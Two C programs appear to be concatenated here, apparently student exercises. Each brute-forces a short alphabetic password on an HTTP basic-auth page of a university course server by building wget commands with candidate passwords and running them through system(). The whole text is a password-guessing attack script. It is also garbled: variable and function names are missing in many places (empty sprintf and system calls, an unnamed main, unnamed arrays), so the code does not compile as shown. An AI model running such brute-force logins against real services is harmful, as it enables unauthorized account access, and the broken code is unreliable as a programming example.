#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122



int  bruteforce_first(int passlen, int *attempts);
int  bruteforce_two(int passlen, int *attempts);
int  bruteforce_three(int passlen, int *attempts);


int main()
{
	int i, wdlen = 1;
	int runtime;
	int counter ;
	int  initTime = 0, exitTime = 0, runTime = 0;

	initTime = time();
	if (bruteforce_first(wdlen, &counter) == 2) {
		wdlen++;
		if (bruteforce_two(wdlen, &counter) == 3) {
			wdlen++;
			if (bruteforce_three(wdlen, &counter) == 0)
				printf("Success In Breaking The  Password");
			else
				printf("Failure !!!!!!");
		}
	} else {
		printf("Success In Breaking The  Password");
	}


	exitTime = time();
	runTime = (exitTime - initTime);

	printf("\nNumber of attempts  is... %d", counter);
	printf("\nTime taken is %lld milli seconds\n", (runTime)/());
	return 0;
}

int bruteforce_first(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char  *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	for (i = MINCHAR; i <= MAXCHAR; i++) {
		if (i == 91)
			i = i + 6;
		str[passlen - 1] = i;		
		puts(str);
		(*attempts)++;

		char [100];
		sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

		if (system() == 0) {
			printf("Password cracked successfully:");
			printf("Password is %s", str);
			return 0;
		}
	}
	return 2;
}

int bruteforce_two(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';


	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);

				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 0;			
			if (str[i] == 'Z') {
				str[i] = 'a';
			} else
				str[i]++;

		}
	return 3;
}


int bruteforce_three(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;


	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);
				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);


				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 1;
			while (i <= passlen - 1) {
				if (str[passlen - i - 1] == 'z') {
					str[passlen - i - 1] = MINCHAR;
					str[passlen - 1 - 2]++;
					break;
				} else {
					if (str[passlen - i - 1] == 'Z') {
						str[passlen - i - 1] = 'a';
						break;
					} else {
						str[passlen - i - 1]++;
						break;
					}
				}
				i++;
			}

		}
	return 0;
}




#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

char *itoa(int); 

int ()
{
  int t,t1,t2, timeinsec;    
  int nofattempts = 0;
  char url[80], url1[80], *ur1, *ur2;
  strcpy(url, "wget --http-user= --http-passwd=");     
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); 
  int i = 65;
  int j ;
  int k ;
  char *c1, *c2, *c3;
  char *c12, pass[4];
  int syst = 1;
  char a = 'a';
  char inside[50];
  t1 = time();  

  



  for (i = 65; i <= 122; i++)          
  {
    if (i > 90 && i < 97) continue;    

    for (j = 65; j <= 122; j++)        
    {
      if (j > 90 && j < 97) continue;  

      for (k = 65; k <= 122; k++)     
      {
          fflush(stdin);
          if (k > 90 && k < 97) continue;  

          c1 = itoa(i);  
          c2 = itoa(j);  
          c3 = itoa(k);  
          pass[0] = *c1;
          pass[1] = *c2;
          pass[2] = *c3;
    	  pass[3] = '\0';
          strcat(url, pass);  
          strcat(url, url1);  
	      ++nofattempts;  
          syst = system(url);  
          printf("%s\n",pass);
          if (syst == 0)  
          {
            t2 = time();
            t = t2 - t1; 
            timeinsec = t / 1000000000;
            printf("  Total .of attempts :-  %d", nofattempts);
            printf("\n !!! 's the password:- %s\n", pass);
            printf("\n Brute force has taken  much of time_var :-  %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}

char *itoa(int a)  
{
    char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",  
                     "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x",
                      "y", "z" };
    char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
                     "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
                      "Y", "Z" };

  char *ret;
  if ( a >= 97 && a <= 122)   
  {
      ret =  [a-97];
      return ret;
  }
 if ( a >= 65 && a <= 90)     
  {
      ret =  [a-65];
      return ret;
  }

  return "5";
}
